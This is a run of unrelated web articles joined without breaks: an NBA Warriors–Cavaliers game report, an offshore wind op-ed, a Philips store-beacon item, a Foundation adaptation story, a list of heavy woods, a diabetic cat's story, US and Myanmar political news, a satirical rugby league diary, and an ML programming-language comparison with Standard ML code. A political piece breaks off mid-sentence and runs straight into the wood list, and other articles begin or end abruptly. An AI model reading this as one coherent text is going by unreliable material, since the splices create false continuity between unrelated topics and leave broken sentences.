Durant and the Oklahoma City Thunder lost to James and the Miami Heat in the 2012 NBA Finals. The former OKC star has also played in some big showdowns in recent years against the Warriors, San Antonio Spurs and Los Angeles Clippers in the postseason. He also led the United States to a gold medal at the 2016 Rio Olympics before joining the Warriors this season.
Durant walked into perhaps the best rivalry in sports with two big chapters already in the books. Stephen Curry, Klay Thompson, Andre Iguodala, Draymond Green and the rest of the Warriors beat the battered Cavaliers for the NBA title in 2015. Then James, Kyrie Irving and the Cavaliers historically overcame a 3-1 series deficit to beat the Warriors in the 2016 NBA Finals. And that’s just the Cliffs Notes version, as it’s safe say that both squads don’t like each other much.
Durant was certainly aware of all the hype the rivalry presented, and tried his best not to join the emotion of it all in his debut.
“I was lost in the game,” said Durant, who scored a game-high 36 points and made all 12 of his free throw attempts. “I wasn’t paying attention to all that stuff. I was hooping. It was a competitive game. Both teams came with it. That’s what you want on Christmas. It was a great game. But all of the extra stuff, at the end of the day, you’re going to be who you are.
“I went out there and did what I was supposed to do as far as preparing for the game, not getting distracted by all that extra stuff. We should have won the game. I felt like we should’ve won. But we lost, we have to move on, grow from it and get better. Once you get between the lines, all the hype goes out the window. You just got to hoop.”
Durant’s mental approach showed early in this Christmas matinee.
His cool pep talk calmed down an irate Green by the Warriors’ bench after he was slapped with his second foul and a technical with 9:25 left in the first quarter. Green has said that Durant adds a strong dynamic on both ends of the court that should aid the Warriors against the Cavaliers. During the first half, the offensive dynamic stood out. Durant seemed sparked by Green’s emotion as he torched the Cavaliers in the first half with 17 points on 5-of-8 shooting from the field, eight rebounds, one steal and one block in nearly 19 minutes.
“I just tried to be me. Be aggressive, miss or make,” he said.
Durant looked like he was the best player on the floor in a game loaded with NBA superstars. He scored 11 points in the third quarter and earned two three-point plays early in the fourth to push the Warriors ahead 95-82 with 9:20 remaining.
“KD came out in that fourth quarter and was very aggressive,” said James, who had 31 points and 13 rebounds.
Warriors coach Steve Kerr put Durant on the bench for a breather with the Warriors ahead, 95-87, with 7:33 remaining in the game. While Durant was sitting, he watched the Cavaliers go on a 7-2 run with the aid of two Warriors turnovers to trim the visiting team’s lead to 97-94 after an Irving 3-pointer with 6:12 remaining. Cleveland ended up scoring 21 points off 20 Warriors turnovers in the contest.
“We had too many turnovers, that’s the thing,” Durant said. “That’s two games in a row. We have to control that.”
Durant returned to the game 26 seconds later hoping to give the Warriors a great Christmas story in the city where the 1983 movie A Christmas Story was filmed.
The Warriors actually had a 108-105 lead after a frigid Curry finally nailed a key 3-pointer with 1:14 left. But par for the game, the Warriors followed with two-straight turnovers that led to an Irving layup and 13-foot turnaround jumper to push the Cavaliers up 109-108 with 3.4 seconds left. What would be a game-winning shot for Irving was reminiscent of the jumper that sealed the Cavaliers’ championship in Game 7 of the 2016 NBA Finals. To make matters worse for Golden State, Cleveland overcame a 14-point fourth-quarter deficit on the holiday matchup to retake the lead.
“Taking the turnaround shot, it’s a tough shot,” said Irving, who had 25 points 10 assists, seven steals and six rebounds. “They got great contest on it. Just thankfully, it went in.”
“Kyrie hit shots, fallaways and stepbacks, and a tough shot at the end of the game,” Durant said.
The Warriors had one last chance with 3.4 seconds left to win the game.
With Curry cold and Durant with a game-high 36 points in hand, Kerr drew up a play for the newcomer to take the final shot. Instead of James guarding Durant, Jefferson — who had received a technical earlier for winking at Durant after dunking on him — was guarding him. After the ball was inbounded to Durant, he appeared to be tripped by a physical Jefferson, lost his balance, fell to the ground and couldn’t get a shot off, making his big offensive night an afterthought.
It will be interesting to see what the NBA’s Last Two Minute Report says on that Durant play, though it won’t change anything. Green told Durant he was definitely tripped after they looked at a replay on Durant’s phone in the locker room after the game.
“I was trying to make a move, and I fell. I didn’t fall on my own,” Durant said.
It was just the Warriors’ fifth loss of the season, but this one stung more since it was against the Cavaliers.
Cleveland has now beaten the Warriors in four-straight emotional and contested games, dating back to the 2016 NBA Finals. Irving and James hooted and hollered in appreciation as they entered the victorious home locker room after their Christmas win. The Warriors host the Cavaliers in the final regular-season meeting between the two teams on Martin Luther King Jr. Day on Jan. 16, 2017.
Durant will likely have to go through James, Irving and the Cavaliers if he hopes to get his first NBA championship, but admitted that his first Warriors-Cavs experience was actually pretty cool.
“It’s amazing. Every time you get to play in this atmosphere, it’s incredible. I’m looking forward to the next one,” Durant said. “It’s fun. I wish that we could keep playing.”Can you think of a single technology that is used extensively abroad, yet not at all here in the United States?
This summer, Rhode Island will make history by breaking ground on America’s first offshore wind project. This first domestic installation at Block Island will stand in stark contrast to Europe’s massive, decades-old offshore wind industry that includes nearly 2,500 offshore wind turbines and supports 60,000 jobs.
As construction gets under way in Rhode Island, we must also be thinking about the bold leadership needed to launch an offshore wind industry here in the United States that unleashes thousands of construction, operational, and manufacturing jobs, and seizes the conservation benefits from adopting a wildlife-friendly and zero-emission source of energy.
The Ocean State’s efforts to modernize its energy system by cleaning up legacy power plants, switching to lower-emission supply alternatives, deploying clean energy, and reducing demand through efficiency — all while striving to protect valuable marine resources — provide a model for how states can meet their energy needs while spurring local jobs and reducing pollution. Further, the state’s collaborative planning process, led by the Coastal Resources Management Council and in partnership with the federal Department of the Interior, has proactively addressed potential conflicts that too often stunt progress toward a cleaner, more reliable and ultimately cheaper energy future.
Offshore wind fits perfectly into this strategy. It is the largest utility-scale zero-emission renewable resource that is located close to the massive population centers of the East Coast. Further, offshore wind provides power when demand is at its highest, which will displace more expensive and dirtier energy resources.
The privately financed Block Island Wind Farm will create more than 300 construction jobs and meet the electricity demands of the entire island while cutting local electricity prices in half. It will replace an oil-fired power plant that currently pollutes the island’s air and threatens its wildlife and clean water. The transmission cable being developed by National Grid will connect Block Island directly to the mainland for the first time, allowing the turbines to send excess power into the grid and give islanders the security of access to mainland resources in extreme circumstances.
And after it succeeds? Deepwater Wind is already planning a 1,000-megawatt project in Rhode Island Sound, harnessing the stronger winds more than 15 miles offshore. A project this size would not only mean more jobs building and operating the turbines, it would also mean greater economies of scale and lower prices. Just as computers and smart phones have plunged in price while skyrocketing in capacity, each generation of new clean energy technology becomes more efficient at harvesting renewable resources, attracts additional capital, and spurs competition, further driving down costs.
But that’s not the full economic opportunity. New York and Massachusetts, among other states, are also contemplating large offshore wind projects. If these projects come to fruition, the aggregated capacity of a few gigawatts will attract global offshore wind manufacturers to locate production facilities here in the United States. It simply doesn’t make sense to ship large foundations, towers, nacelles and blades halfway around the world unless there’s predictable local demand. These manufacturers — and the supply chain that supports them — could create thousands of manufacturing jobs and billions of dollars of economic activity. We must make sure that these materials are made here in America.
A project that simultaneously promotes domestic economic growth, improves public health and protects our treasured wildlife and wild places deserves the vocal support of conservation and labor leaders alike. Deepwater Wind’s commitment to putting Rhode Islanders to work and agreement to protect critically endangered North Atlantic right whales exemplify an energy future of which we can truly be proud.
As all eyes turn to Rhode Island this summer, let’s ensure that America’s first offshore wind project is not a one-off novelty, but rather the launch of a new American energy and manufacturing revolution.
Collin O’Mara is president and chief executive officer of the National Wildlife Federation. Michael Sabitoni is president of the Rhode Island Building and Construction Trades Council.Philips is already one of the biggest names in smart light bulbs, and now it's beginning to test a new unit that could be even smarter. At a retailer in Düsseldorf, Philips is piloting a lighting unit that includes a built-in beacon that can relay location and product information to smartphones. By opening a companion app, shoppers can see a map of the store they're in, including their exact location as determined by the beacons' communication with their phone. From there, a shopper might search for a product they're looking for, while the beacons track their movement and provide directions to the right aisle.
Shoppers could be given deals on nearby products
The connected lighting system is Philips' answer to a slew of emerging tools that allow retailers to interact with shoppers' smartphones as they walk throughout a store. Most of these options — including the most prominent one, Apple's iBeacon — rely on lightweight transceivers located in and around shopping displays to ping shoppers with deals and highlights when they move nearby. It's not clear how cost effective it would be to move these inexpensive beacons into lighting units, but it's a surprisingly logical pairing otherwise: the beacons could have full coverage of a store, and installation would presumably be quite straightforward. Philips' system uses flickers of light to communicate with phones, presumably allowing it to work with anything that has a camera.
For now, Philips is only running a demonstration of the new technology, and it hasn't said when or if its connected lighting system will see a wider distribution. As most retailers have yet to adopt in-store beacons, there's still plenty of room for competition. But with major names like Macys, American Eagle, and MLB ballparks already trying out iBeacon, it appears there's a good amount of interest out there already.Director Roland Emmerich has been looking to bring Isaac Asimov's sci-fi landmark Foundation to the screen for a few years now, and he may have reached a turning point.
The man behind such destruction-filled epics as Independence Day, 2012 and the recent White House Down first won the rights to Asimov's legendary series of stories more than four years ago, but has had trouble coming up with a script that could work on the big screen.
After all, Asimov's deeply sociological saga about a plan to guide a galactic human empire through an extended period of darkness is not exactly cinematic -- or at least, not a story that could be turned into an action thrill ride -- and Emmerich's movies are not renowned for their intellectual richness.
Speaking with Empire Online, Emmerich -- whose next film is the sequel to Independence Day -- has admitted that Foundation may now never happen, but added that he is attempting to make it work through a different medium:
"We're trying to do it as a big mini-series, but even there you would have to change the story itself and set it in a time when the galaxy has fallen apart -- and then you're pretty much making a TV show with all these characters and playing all the scenes out. You can (do that) and we'll see what happens. We tried so hard (to make it into a movie), honestly, because it's one of my most favorite books. I just love it."
We're not sure we understand what Emmerich is saying about why the story would have to changed, but the idea of doing Foundation as a mini-series is an intriguing one.
Smaller, character-based dramas -- and particularly adaptations -- within genre settings have been working like gangbusters on cable (think The Walking Dead and Game of Thrones). They allow time to let the story expand and develop organically, and don't come with the pressure of having to deliver the kind of spectacular set pieces or visual effects every 10 minutes that most modern movie tentpoles seem to require. Foundation might be much more suitable for that approach, and with seven novels to draw from, could run for years.
We're still not sure if Emmerich is the right guy for this, but do you think Foundation could work better on TV than the big screen?If you want to understand intra-GOP warfare, the decision-making process of our president, the implosion of the Republican healthcare plan, and the rest of the politics of the Trump era, you don’t need to know about Russian espionage tactics, the state of the white working class, or even the beliefs of the “alt-right.” You pretty much just need to be in semi-regular contact with a white, reasonably comfortable, male retiree. We are now ruled by men who think and act very much like that ordinary man you might know, and if you want to know why they believe so many strange and terrible things, you can basically blame |
list. Some of these species weigh, on average, only a few tenths of a pound more per cubic foot than their nearest rivals: certainly no conclusive ranking should be inferred from the list. But nonetheless, we want someone to take home the gold medal—we need a champion crowned—so here are the top ten heaviest woods in the world:
Verawood (Bulnesia arborea) 74.4 lbs/ft3 (1,192 kg/m3) Sometimes called Argentine Lignum Vitae, this wood is a gem: inexpensive, great olive-green color, beautiful feathery grain pattern, and it takes a great natural polish on the lathe. Kingwood (Dalbergia cearensis) 74.9 lbs/ft3 (1,200 kg/m3) Kingwood supposedly got its name from several French kings (Louis XIV and Louis XV) that preferred the wood in the use of fine furniture. Desert Ironwood (Olneya tesota) 75.4 lbs/ft3 (1,208 kg/m3) This wood is a hobbyist favorite. Too small to be a viable timber tree, this wood’s colorful grain and high density are restricted to small specialty projects. Snakewood (Brosimum guianense) 75.7 lbs/ft3 (1,212 kg/m3) It’s easy to see what makes Snakewood so unique–its patterns and markings resemble the skin of a snake. Limited supply and high demand make this one of the most expensive woods on earth! Leadwood (Combretum imberbe) 75.8 lbs/ft3 (1,215 kg/m3) Another exceptionally hard African wood, the name says it all. Leadwood is seldom seen for sale, and is reported to be protected in South Africa–a very elusive timber. Quebracho (Schinopsis spp.) 77.1 lbs/ft3 (1,235 kg/m3) From the Spanish “quebrar hacha,” which literally means “axe breaker.” Aptly named, wood in the Schinopsis genus is among the heaviest and hardest in the world. Lignum Vitae (Guaiacum officinale) 78.5 lbs/ft3 (1,257 kg/m3) Widely accepted as the heaviest wood in the world–this wood has been listed as an endangered species and is listed in CITES. Consider Verawood as a very close substitute. African Blackwood (Dalbergia melanoxylon) 79.3 lbs/ft3 (1,270 kg/m3) In some parts of the world, this wood has achieved an almost legendary status. Historical evidence points to this wood (rather than Diospyros spp.) being the original “ebony.” Itin (Prosopis kuntzei) 79.6 lbs/ft3 (1,275 kg/m3) This small South American tree could be considered a super-mesquite. Related to mesquite, it’s very dark, very dense, and very hard; a good substitute for ebony. Black Ironwood (Krugiodendron ferreum) 84.5 lbs/ft3 (1,355 kg/m3) Pieces are very seldom seen for sale, as this tree is too small to produce commercially viable lumber. Like the unrelated Desert Ironwood, Black Ironwood is an excellent choice for small turning projects.
Honorable mentions: Camelthorn (74.0 lbs/ft3), Zapote (73.0 lbs/ft3), Brown Ebony (72.3 lbs/ft3), Macassar Ebony (71.8 lbs/ft3), Katalox (71.6 lbs/ft3), Ipe (68.7 lbs/ft3).
Other notes:
Water weighs 62.3 pounds per cubic foot at room temperature (70 degrees F), so all the woods listed above will readily sink in water.
Density listings are for woods at a dried weight of 12% moisture content.
There are probably all sorts of obscure shrubs and small trees that yield wood which can be quite heavy, but they’re just not seen in use by the majority of woodworkers, nor are they reliably documented in woodworking publications.
See also:The Jazz Cat Cole Story - by Mary In 1983 our next door neighbour was given a kitten, which he named Jazz. Before he was very old Jazz found a way of getting over a ten-foot high wall and into the garden of a small private school which we were running. The children were delighted, and the job was to keep him out of the buildings, particularly the dining room, at lunch time! Over the next few years he divided his time between his home, the school, neighbours and the nursing home next door (he even had his own mat in the nursing home lounge!) In October 1987 the south of England was devastated by the worst storm in 700 years. That was when we found Jazz shivering on the window sill and took him in until his owner managed to get home. It was then that we found out about the trouble getting him to go up the staircase to his flat. We now think that another neighbour had kicked him downstairs. Jazz actively refused to go home. Another neighbour adopted him, but made no provision for him when she went away on a prolonged holiday. Five weeks later, we found him starving, and from then on, he adopted us and our home. During that time he became a fixture in the school, attending lessons, and like most boys, dozing on a desk in the back row! Ten years later, we retired and moved to a flat a few streets away and he seemed to settle. We noticed that he was losing weight, but thought that it was because he could no longer get treats from the neighbours. Then came the everlasting drinking at the bathroom tap. We took him to the vet, and a urine sample showed glucose in the urine. Blood tests followed and a few weeks later we started to inject him with Insuvet Beef PZI. He started on 2 units daily, and at weekly intervals we increased by half a unit, until on 4 units daily his urine showed no sugar. We kept him on this regime for a month until he had regained his lost weight. Then we decreased the dose by half a unit daily, and decreased each week until we found him regulated on 2 units daily. He has lived a normal cat life, with occasional scares, when he did not eat enough and went hypo. This was treated with glucose. For three and a half years he was well regulated, but this year he became a fussy eater, and it was difficult to ensure that he had enough food to balance his insulin. We started to home blood test with a blood glucose monitor and found that with his food intake he needs only 1 unit a day. He now leads a sedentary senior citizen style life as becomes a nineteen year old who has been treated for diabetes for four years. ↑Top Of Page Back to Other Cats’ StoriesIn a post titled "What's Spanish For 'Lies'?" the New York Times' Editorial Board Blog comments on John McCain's latest Spanish ad.
It's a gross distortion.
Here is an English translation:
Announcer: Obama and his Congressional allies say they are on the side of immigrants. But are they?
The press reports that their efforts were "poison pills" that made immigration reform fail.
The result:
No guest worker program.
No path to citizenship.
No secure borders.
No reform.
Is that being on our side?
Obama and his Congressional allies ready to block immigration reform, but not ready to lead.
John McCain: I'm John McCain and I approve this message.
Block immigration reform? The Democrats?
Mr. Obama opposing a path to citizenship?
Welcome to the night-is-day, down-is-up, world of the McCain campaign.BOSTON (AP) — Libertarian vice presidential nominee William Weld says he’s seen interest and fundraising pick up as Republican presidential nominee Donald Trump’s campaign has struggled recently.
Weld said he’s spoken with a handful of Republican members of Congress who are considering reassessing their endorsements for the fall election.
“The ice is cracking a little bit,” he said Monday.
Weld is running with Libertarian Party presidential nominee and former New Mexico governor Gary Johnson. Weld made his comments as he delivered a final batch of signatures to guarantee the two former Republicans a spot on the November ballot in Massachusetts.
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The former Massachusetts governor said momentum is growing for the Libertarian ticket. The immediate goal, he said, is to reach the 15 percent threshold needed in polls to secure a spot on the debate stage with Trump and Democratic presidential nominee Hillary Clinton.
“That step alone would probably carry us past 15 percent, closer to 20 percent, and work on getting another 5 percent, which I think is a modest goal in the month of September,” he said.
Weld said he’s known Johnson for 20 years. He said they get along so well, even enjoying playing backgammon or pool together on the campaign trail, that they would work closely together if elected.
“I’m not going to even have my personal staff as vice president, because we want to govern as a team,” Weld said.
Weld, who lived for many years in New York after serving as governor, said he met Trump socially on occasion and described him as “understated” and “low key.”
But he said that when Trump enters the business world he becomes a different guy.
“I think the Donald Trump who would show up at the White House would be the business Donald Trump,” Weld said. “It would not be the family man capable of acts of personal generosity.”
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One moderate Republican Weld hasn’t been able to woo is Gov. Charlie Baker, who served as Weld’s health and human services secretary and budget chief in the 1990s.
“As much as I like and admire Bill Weld — and I do like and admire him — there are a lot of things about the Libertarian platform that I simply can’t support, starting with the idea of legalizing all drugs,” said Baker, who has publicly rejected voting for Clinton or Trump.
Weld said he hasn’t tried to enlist Baker.
“I’m not pitching Charlie because I think he’s very smart to stay out of the national campaign,” Weld said. “As soon as he sticks a finger in it, everyone’s going to come to him every morning and say, ‘Well, you’re a gladiator in the contest now, what do you think about this sub-issue?’ and he wouldn’t have time to govern here. I think he’s doing just the right thing.”
Baker said he wasn’t surprised by his former boss’ foray into presidential politics, even for another party.
“We all know Bill Weld is nothing if not an unpredictable and iconoclastic guy, and having had a chance to hear a little bit of the back and forth that’s gone on since he’s gotten into the race he sounds as articulate and genuine as ever,” Baker said.
Trump, who recently was involved in a high-profile dispute with an American Muslim family whose son was killed in Iraq, has faced signs of GOP divisions and has strained to overcome deepening concerns about his presidential candidacy.EAST BRIDGEWATER – The herring will soon run free through East Bridgewater, thanks to a collaborative dam removal project.
Representatives from state, federal, local and environmental advocacy organizations gathered at the site of the Carver Cotton Gin dam in East Bridgewater on Monday as plans to remove the historic dam got underway.
Removing the dam will benefit local migratory fish species and improve environmental sustainability, as well as enhance public safety, officials said.
For decades, the 150-year-old dam has prevented herring from continuing upstream to reproduce each year, threatening the herring population upstream of the dam.
Herring play a major ecological role as an important food source for many fish and wildlife, according to Bill Bennett of the U.S. Fish & Wildlife Services, one of the organizations partnering on the project.
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“This is an obsolete damn that’s been failing over the years,” said Kris Houle of the Massachusetts Division of Ecological Restoration. “With this dam removal, river herring and other species will be able to get all the way from the Atlantic Ocean all the way up into Robin’s Pond.”
The project will restore about 13 miles of river access and 652 acres of spawning habitat to the herring, officials said.
Additionally, removing the dam will solve public safety concerns for the local community.
The deteriorating dam runs the risk of failing, which would destabilize the Route 106 bridge immediately upstream. A Mass DER evaluation categorized the dam as a significant public hazard.
“If this dam were to fail, it’d have the potential to cause the loss of life and it’s in an unsafe condition,” Houle said.
On Monday, contractors worked to reinforce the bridge to prepare for the removal of the dam. Officials expect the damn removal process will begin next week.
“This project hits that sweet spot where we’re restoring the river but also enhancing public safety for the community,” Bennett said. “It’s not only restoring the environment but it’s also addressing concerns that if this dam fails, this bridge could collapse at some point.”
It’s important, now more than ever, that organizations take steps to guard against bridge collapses and other hazards brought on by severe weather, Sara Burns of the Nature Conservancy said.
“We’re seeing more extreme weather events,” said Burns. “With more water, failure becomes. By removing the dam, we’re taking away that risk. We’re increasing resiliency to climate change and extreme storms.”
The project is a collaboration between the Massachusetts Division of Ecological Restoration, The Nature Conservancy, the Town of East Bridgewater, NOAA Restoration Center, the U.S. Fish and Wildlife Service, the Massachusetts Executive Office of Energy and Environmental Affairs Dam and Seawall Repair or Removal Program, the National Fish and Wildlife Foundation and the Plymouth County League of Sportsmen.
Shannon Gallagher may be reached at sgallagher@enterprisenews.com.Announced this morning, Samsung has begun mass production of the industry’s first mobile image sensor using 1.0μm pixels. The cut in size will allow for a 16MP sensor with a height decrease of 20%, compared to Samsung’s current 16MP module using 1.12μm pixels. This ultimately means you can have a superior camera sensor, even in a very thin device.
Titled the S5K3P3, this sensor utilizes Samsung’s proprietary ISOCELL technology, the same found in the Galaxy S6. Samsung first introduced ISOCELL back in late 2013, making its debut in the Galaxy S5. ISOCELL deploys a minute barrier surrounding individual pixels, leading each pixel to feature increased light sensitivity, higher color fidelity, and a 30% decrease in crosstalk (which reduces image noise).
According to the Samsung, the sensor is now ready for use by OEMs to work into their smartphone designs. If other companies besides Samsung decide to use it, this is big news for consumers. As it is, the camera found on the Galaxy S6 is top-tier, and with it decreasing in size, we could see a few very cool device designs in the future.
With the Galaxy Note 5 just around the corner, it’s quite possible we will see this new technology baked inside.
Via: Samsung TomorrowYou can accuse us of many things, but at least we’re consistent!
Another July and another lost series. Seriously this NSW team have seen more dead rubbers than a Surry Hills knock shop.
Nonetheless, tonight we’ll be out there at ANZ Stadium bombing tries, dropping passes and doing what we can to redefine the word ‘underachievement”.
The camp has been a blur. Not so much that it’s gone fast, but the fact we were heavily intoxicated for the whole seven days!!!
Anyway, these are the moments which set the scene in the lead up to tonight’s defeat.
MONDAY — WELCOMING THE NEW BOYS TO THE TEAM
We gather at the Star Casino to blow our wages from game two, as well as the traditional captain’s greeting, which is just a fancy name for Paul Gallen threatening the new players and giving them the team rules.
RULE 1 — Give the ball to Gal whenever he wants it.
RULE 2 — Gal wants the ball all the time, so just give him the ball.
RULE 3 — In all media interviews refer to Gal as ‘Great Inspirational Warrior’.
RULE 4 — Don’t use the words ‘Paul Gallen’ and ‘Greedy’ in the same sentence.
RULE 5 — Don’t use the words ‘Gus’ or ‘Phil Gould’ when in the presence of the ‘Great Inspirational Warrior’.
DALEY: Fans and Gal deserve victory
BLOCKER:Klemmer needs to be new Blues ‘villain’
TUESDAY: FIRST TRAINING RUN
We have our best training session for many series, our new players in particular, Anthony Milford and Valentine Holmes, are on fire.
The speed, skill and energy these two brilliant young players exhibit sends a lightning bolt of confidence through the team.
Coach Laurie Daley declares at the media conference that he’s never felt so confident before an Origin match.
Unfortunately, hack journo Dean Ritchie breaks the news to us during the media scrum that Holmes and Milford are actually Queenslanders.
Coach Laurie Daley declares Queensland will win the next 10 Origin Series.
media_camera Artwork: Scott “Boo” Bailey.
WEDNESDAY: MEET WITH THE REFEREES’ BOSS
Laurie and I meet with referees boss Tony Archer to air our disgust at how Game I and II were controlled.
Tony Archer is very receptive to our requests, particularly after I produce a large knife from my pants.
He agrees to consider all requests.
THE REQUEST
1. Every time Cam Smith lies in the ruck, a NSW player should be allowed to remove him using any part of the football boot.
2. Sam Thaiday’s face be declared a “free zone” to the no-punching rule.
3. Genital squeezing to be deemed acceptable.
4. NSW to be given 14 points start.
DAY 3: WARM-UP MATCH
While in Coffs we decide to play a warm-up game, as an opportunity to nail down new combinations.
Our opponents are the Sawtell Panthers U16s team. It’s a great opportunity for us to rattle up a big score, gain some confidence, while giving a bunch of snotty nosed no-hopers from the mid-North Coast an opportunity to rub shoulders with rugby league legends.
I’m proud to say that the future of New South Wales is in safe hands with the 16-year-old delinquents beating us 38-16.
The Daily Telegraph took the negative spin of course with the headline “Puberty Blues”. Alleged journo David Riccio then had a crack, describing our performance as having, “Less bite than a 95-year-old woman on a soup diet.”
I focused on the positive, saying, “The Sawtell hooker, halfback and fullback are freakish young talents and will form the spine of a future Blues side that will enjoy a decade’s dominance.”
Unfortunately, Riccio then broke the news that they are Queenslanders.
Coach Laurie Daley declares Queensland will dominate till 2045.
DAY 4: ADAM REYNOLDS RULED UNFIT
Adam Reynolds is ruled unfit after I follow him into the toilets and “accidentally” smash him across his troublesome shoulder with a mallet.
When ruled out, Reynolds is very emotional and breaks down in tears... Pretty pathetic!!
I make him feel better by making up some story about him being the NSW halfback for the next five years.
I’ve used the same speech on Jamie Soward, Josh Reynolds, Mitchell Pearce, Jarrod Mullen, Trent Hodkinson, Brett Kimmorley and Ben Hornby.
RETIRING PLAYERS’ DINNER
No expense is spared as we organise a special dinner to celebrate the final Origin game for Gal and Robbie Farah at North Parramatta McDonald’s.
The night starts with David Klemmer breaking the McNuggets eating record, demolishing 209 of those bad boys in an hour.
Later that night he made the hotel toilet look like a Jackson Pollock painting.
At the dinner, Gallen got up and made a very emotional speech. Gal spoke about the things he’ll miss most about Origin, such as the $30,000 match payments, the free lunches, refusing to pay for the mini bar, and the $30,000 match payments.
GAME DAY
The boys enjoy a nice lay in before lunch at the hotel, followed by a motivational session where Laurie asked me to organise a singer to perform for the boys.
Laurie suggests Jimmy Barnes doing ‘No Second Prize’. But I tell him it’s a little too late for that, besides the players getting $30,000 — win or lose — defeats the romance of the song.
Instead I organise the Little River Band’s Glenn Shorrock to come in and perform his hit, ‘Lonesome Loser’.
No surprise to learn, the team know every word!Sheldon Adelson is the mystery purchaser of Nevada’s largest newspaper, according to a report from Fortune magazine.
The Las Vegas Review-Journal was purchased for $140 million in early December by a limited liability corporation that went to unusual lengths to shield the identity of its owner. The strange transaction drew attention from media watchers and political reporters alike, as the paper’s right-leaning editorial page could have a significant impact in Nevada’s early presidential primaries.
As various wealthy billionaires denied having purchased the paper in recent days, suspicion began to settle on Adelson, the billionaire casino magnate, political donor, and owner of Israel Hayom, a hawkish free Israeli daily. Harry Reid, the U.S. Senator from Nevada and senate minority leader, told Politico on December 15 that he suspected Adelson.
The Fortune report, published shortly before 4 PM on December 16, cited unnamed “sources familiar with the situation” confirming that Adelson was the paper’s purchaser.
The Review-Journal itself has yet to identify its new owner. A story published in the paper on December 15 quoted the Society of Professional Journalists, an advocacy group, condemning the new owners for hiding their identities.
This story "Sheldon Adelson Identified as Buyer of Las Vegas Newspaper" was written by Josh Nathan-Kazis.The Pyithu Hluttaw yesterday voted down an urgent proposal seeking the removal of three foreigners from a recently formed Rakhine State advisory commission that has provoked the ire of nationalists. The failed motion came the same day commission members included former UN secretary general and Ghanaian Kofi Annan travelled to state capital Sittwe for an initial foray into the Rakhine’s thorny political arena.
A total of 34 lawmakers debated the proposal, with those in favour hewing to a general argument that Rakhine State’s issues were an internal affair, while those against said there was a clear international component to the border state’s woes.
Daw Ni Ni May Myi (NLD; Taunggok) spoke against the proposal, pointing to a “boat-people” crisis last year involving Myanmar, Bangladesh and a handful of other ASEAN nations as proof of the international dimensions to the problems of Rakhine State. At one point the lawmaker even sought to bolster her case by noting that a Google search for “Rakhine conflict” yields more than 200,000 English-language hits.
“Therefore, I think people who have global cachet like Kofi Annan should be included in the commission without raising worries. The commission members have been chosen in accordance with standards such as [adherence to principles of] justice and admiration, experience and renown,” she said, while acknowledging that Rakhine State’s affairs were “subtle”.
Proposal supporter U Oo Hla Saw (Arakan National Party; Mrauk-U) argued that State Counsellor Daw Aung San Suu Kyi – whose office announced the creation of the commission on August 23 – was not vested with the authority to create such a body.
“Search and read the State Counsellor Law,” he said. “It doesn’t include any establishment of commissions in its five points on duties, authority and entitlements of the state counsellor. It means this commission lacks legitimacy,” he said.
The advisory commission has been tasked with researching and recommending solutions to alleviate inter-religious tensions that made international headlines after 2012 violence between Buddhists and Muslims. More than 100,000 people, mostly Muslims, remain in squalid displacement camps.
But U Oo Hla Saw yesterday questioned foreigners’ ability to understand the state’s complexities.
“Our Rakhine State faces terrible Islamisation, which concerns all people in our country. No one can know our Rakhine people’s life like we do. So I would like to say, cooperate with us and resolve problems together,” he said.
Supporters of the proposal parroted other arguments put forward by nationalists in recent days, including that the NLD administration should stick to a set of recommendations made by a previous commission under its predecessor government.
Daw Khin Saw Wai (ANP; Rathedaung) said Rakhine State’s biggest problem was “illegal immigration”, touching on a core issue for both Buddhist nationalists and international human rights proponents: the fate of persecuted Muslims in the state self-identifying as Rohingya, whom nationalists refer to as “Bengali” to imply, erroneously in many cases, that they were born in Bangladesh.
The ANP-initiated proposal was defeated via a standing vote, with 250 lawmakers opposed and 148 in favour.
Translation by San Lay,Thiri Min Htun and Zar Zar SoeI wrote a small command-line text processing program in four different ML-derived languages, to try to get a feel for how they compare in terms of syntax, library, and build-run cycles.
ML is a family of functional programming languages that have grown up during the past 40 years and more, with strong static typing, type inference, and eager evaluation. I tried out Standard ML, OCaml, Yeti, and F#, all compiling and running from a shell prompt on Linux.
The job was to write a utility that:
accepts the name of a CSV (comma-separated values) file as a command-line argument
reads all the lines from that file, each consisting of the same number of numeric columns
sums each column and prints out a single CSV line with the results
handles large inputs
fails if it finds a non-numeric column value or an inconsistent number of columns across lines (an uncaught exception is acceptable)
A toy exercise, but one that touches on file I/O, library support, string processing and numeric type conversion, error handling, and the build-invocation cycle.
I tested on a random Big Data CSV file that I had to hand; running the wc (word count) utility on it gives the size and a plausible lower bound for our program’s runtime:
$ time wc big-data.csv 337024 337024 315322496 big-data.csv real 0m3.086s user 0m3.050s sys 0m0.037s $
I’ve included timings throughout because I thought a couple of them were interesting, but they don’t tell us much except that none of the languages performed badly (with the slowest taking about 16 seconds on this file).
Finally I wrote the same thing in Python as well for comparison.
Practical disclaimer: If you actually have a CSV file you want to do things like this with, don’t use any of these languages. Do it with R instead, where this exercise takes three lines including file I/O. Or at least use an existing CSV-mangling library.
Here are the programs I ended up with, and my impressions.
Standard ML
Standard ML, or SML, is the oldest and “smallest” of the four and the only one to have a formal standard, fixed since 1997. Its standard library (the Basis library) is a more recent addition.
fun fold_stream f acc stream = case TextIO.inputLine stream of SOME line => fold_stream f (f (line, acc)) stream | NONE => acc fun to_number str = case Real.fromString str of SOME r => r | NONE => raise Fail ( "Invalid real: " ^ str) fun values_of_line line = let val fields = String.fields ( fn c => c = #"," ) line in map to_number fields end fun add_to [] values = values | add_to totals values = if length totals = length values then ListPair.map ( Real.+) (totals, values) else raise Fail "Inconsistent-length rows" fun sum_stream stream = fold_stream ( fn (line, tot) => add_to tot (values_of_line line)) [] stream fun sum_and_print_file filename = let val stream = TextIO.openIn filename in let val result = sum_stream stream in print (( String.concatWith "," (map Real.toString result)) ^ "
" ) end ; TextIO.closeIn stream end fun main () = case CommandLine.arguments () of [filename] => sum_and_print_file filename | _ => raise Fail "Exactly 1 filename must be given" val () = main ()
(Note that although I haven’t included any type annotations, like all ML variants this is statically typed and the compiler enforces type consistency. There are no runtime type errors.)
This is the first SML program I’ve written since 23 years ago. I enjoyed writing it, even though it’s longer than I’d hoped. The Basis library doesn’t offer a whole lot, but it’s nicely structured and easy to understand. To my eye the syntax is fairly clear. I had some minor problems getting the syntax right first time—I kept itching to add end or semicolons in unnecessary places—but once written, it worked, and my first attempt was fine with very large input files.
I had fun messing around with a few different function compositions before settling on the one above, which takes the view that, since summing up a list is habitually expressed in functional languages as an application of fold, we could start with a function to apply a fold over the sequence of lines in a file.
